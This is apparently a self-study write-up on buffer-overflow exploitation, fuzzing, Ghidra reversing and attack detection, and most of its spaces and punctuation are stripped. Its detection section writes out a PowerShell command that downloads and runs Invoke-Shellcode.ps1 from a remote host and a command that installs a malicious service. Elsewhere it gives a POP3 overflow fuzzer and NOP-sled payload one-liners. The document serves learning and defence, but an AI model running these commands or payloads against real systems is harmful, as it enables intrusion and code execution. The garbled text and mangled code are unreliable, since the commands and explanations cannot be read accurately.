alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

